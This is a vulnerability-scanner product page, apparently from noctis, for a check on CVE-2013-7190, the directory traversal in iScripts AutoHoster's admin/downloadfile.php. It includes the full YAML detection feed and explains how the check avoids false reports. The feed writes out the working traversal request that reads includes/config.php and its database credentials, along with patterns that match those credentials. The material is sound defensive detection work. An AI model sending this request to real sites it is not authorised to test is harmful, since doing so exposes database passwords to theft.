iScripts AutoHoster — 1 vulnerability check
noctis ships 1 vulnerability check for iScripts AutoHoster, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
iScripts AutoHoster admin/downloadfile.php Directory Traversal
| CVE | CVE-2013-7190 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/iscripts-autohoster/CVE-2013-7190.yaml |
Tests iScripts AutoHoster 2.4 (and possibly earlier) for the unauthenticated arbitrary file read in admin/downloadfile.php, whose fname parameter is not sanitised. In the web root and in the /iscripts, /autohoster and /iscriptsautohoster directories, the feed requests admin/downloadfile.php with fname=../includes/config.php and confirms the read when the reply is PHP source holding the HOST, DATABASE, USER and PASSWORD assignments of the site's includes/config.php. A control request for an absent random file through the same parameter must return no such assignments, so a server that serves the same content on every request is not reported. The database credentials are never copied into the finding.
How noctis detects it
- HTTP(S) request
GET {{dir}}/admin/downloadfile.php?fname=../includes/config.php - Checks
cfg_r.bodyfor<\?php - Checks
cfg_r.bodyforHOST[^"\r\n]*"[^"\r\n]+" - Checks
cfg_r.bodyforDATABASE[^"\r\n]*"[^"\r\n]+" - Checks
cfg_r.bodyforUSER[^"\r\n]*"[^"\r\n]+" - Checks
cfg_r.bodyforPASSWORD[^"\r\n]*"[^"\r\n]+" - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/downloadfile.php?fname=../includes/noctis-absent-{{oob_token}}/config.p… - Checks
ctrl_r.bodyfor<\?php|(?:HOST|DATABASE|USER|PASSWORD)[^"\r\n]*"[^"\r\n]+" - Checks
cfg_hitfor^config$→ finding QoD 75: iScripts AutoHoster admin/downloadfile.php Directory Traversal (CVE-2013-7190)
References:
Feed source — tests/vulnerabilities/iscripts-autohoster/CVE-2013-7190.yaml
# iScripts AutoHoster admin/downloadfile.php directory traversal — CVE-2013-7190
#
# iScripts AutoHoster 2.4 passes the `fname` GET parameter of
# admin/downloadfile.php to a file download without sanitising it, with no
# authentication. `fname=../includes/config.php` returns the PHP source of
# includes/config.php: database host, name, user and password.
#
# Detection (benign, read-only), per candidate install directory
# ("", /iscripts, /autohoster, /iscriptsautohoster):
# GET <dir>/admin/downloadfile.php?fname=../includes/config.php (the source
# NASL's exact request) — the reply must hold "<?php" and the HOST, DATABASE,
# USER and PASSWORD quoted assignments. QoD 75.
#
# Improvements over the source NASL:
# - The NASL first needs "Powered By ... iScripts Autohoster" on <dir>/index.php
# (and a 200 there); the feed probes the fixed script path directly, so a
# customised or branded front page is still tested.
# - A control request through the same parameter for an absent random file
# must come back WITHOUT config assignments; a blanket responder or a
# honeypot is not reported (fail-closed: no control reply → no finding).
# - The config values never reach the finding.
#
# CVE mapping: the issue lists CVE-2013-7189 (SQL injection in
# checktransferstatus.php / additionalsettings.php / payinvoiceothers.php) and
# CVE-2013-7190 (directory traversal). The probe proves only CVE-2013-7190
# (NVD: v2 5.0, no v3 score); the SQL injection is not tested.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_iscripts_autohoster_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804165, GPL-2.0-only).
uid: c171d607-a3b1-4f7b-83f6-6f26c3a6ae84
name: "iScripts AutoHoster admin/downloadfile.php Directory Traversal (CVE-2013-7190)"
description: |
Tests iScripts AutoHoster 2.4 (and possibly earlier) for the unauthenticated arbitrary
file read in admin/downloadfile.php, whose fname parameter is not sanitised.
In the web root and in the /iscripts, /autohoster and /iscriptsautohoster
directories, the feed requests admin/downloadfile.php with
fname=../includes/config.php and confirms the read when the reply is PHP
source holding the HOST, DATABASE, USER and PASSWORD assignments of the
site's includes/config.php. A control request for an absent random file
through the same parameter must return no such assignments, so a server that
serves the same content on every request is not reported. The database
credentials are never copied into the finding.
cves: [CVE-2013-7190]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [iscripts, autohoster, php, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7190"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7189"
# OpenVAS/Greenbone NASL 2013/gb_iscripts_autohoster_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every step below runs once per candidate install dir ─────
- id: init-cfg-r
action: set_var
var_name: cfg_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/iscripts", "/autohoster", "/iscriptsautohoster"]
var: dir
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: read-config
action: http_request
method: GET
path: "{{dir}}/admin/downloadfile.php?fname=../includes/config.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: cfg_r
# No on_match: the raw config.php (database password) must not become evidence.
- id: cfg-php
action: match
source: cfg_r.body
pattern: "<\\?php"
store_as: cfg_a
- id: cfg-host
action: match
source: cfg_r.body
pattern: 'HOST[^"\r\n]*"[^"\r\n]+"'
store_as: cfg_b
- id: cfg-database
action: match
source: cfg_r.body
pattern: 'DATABASE[^"\r\n]*"[^"\r\n]+"'
store_as: cfg_c
- id: cfg-user
action: match
source: cfg_r.body
pattern: 'USER[^"\r\n]*"[^"\r\n]+"'
store_as: cfg_d
- id: cfg-password
action: match
source: cfg_r.body
pattern: 'PASSWORD[^"\r\n]*"[^"\r\n]+"'
store_as: cfg_e
- id: cfg-verdict
action: script
code: 'if cfg_a.matched && cfg_b.matched && cfg_c.matched && cfg_d.matched && cfg_e.matched { "config" } else { "" }'
store_as: cfg_hit
# Control: same parameter, absent random file. The name still ends in
# config.php, so a honeypot keyed on it answers too.
- id: control
action: http_request
method: GET
path: "{{dir}}/admin/downloadfile.php?fname=../includes/noctis-absent-{{oob_token}}/config.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'cfg_hit != ""'
store_as: ctrl_r
- id: control-php
action: match
source: ctrl_r.body
pattern: "<\\?php|(?:HOST|DATABASE|USER|PASSWORD)[^\"\\r\\n]*\"[^\"\\r\\n]+\""
condition: 'cfg_hit != ""'
on_match:
set_vars:
ctrl_hit: true
- id: report-config
action: match
source: cfg_hit
pattern: "^config$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "iScripts AutoHoster admin/downloadfile.php Directory Traversal (CVE-2013-7190)"
description: "An unauthenticated GET to admin/downloadfile.php with fname=../includes/config.php returned the PHP source of includes/config.php (HOST, DATABASE, USER and PASSWORD assignments), while the same request for an absent file did not. The database credentials of the site are exposed, and the same parameter may allow reading other files the web server user can read."
remediation: "Upgrade iScripts AutoHoster to a release that validates the fname parameter, change the database password stored in includes/config.php, and restrict access to the admin/ directory."
confidence_delta: 0.55
qod: 75
evidence: "GET {{dir}}/admin/downloadfile.php?fname=../includes/config.php returned config.php with the HOST, DATABASE, USER and PASSWORD assignments (values not recorded); control for an absent file returned none"
stop: true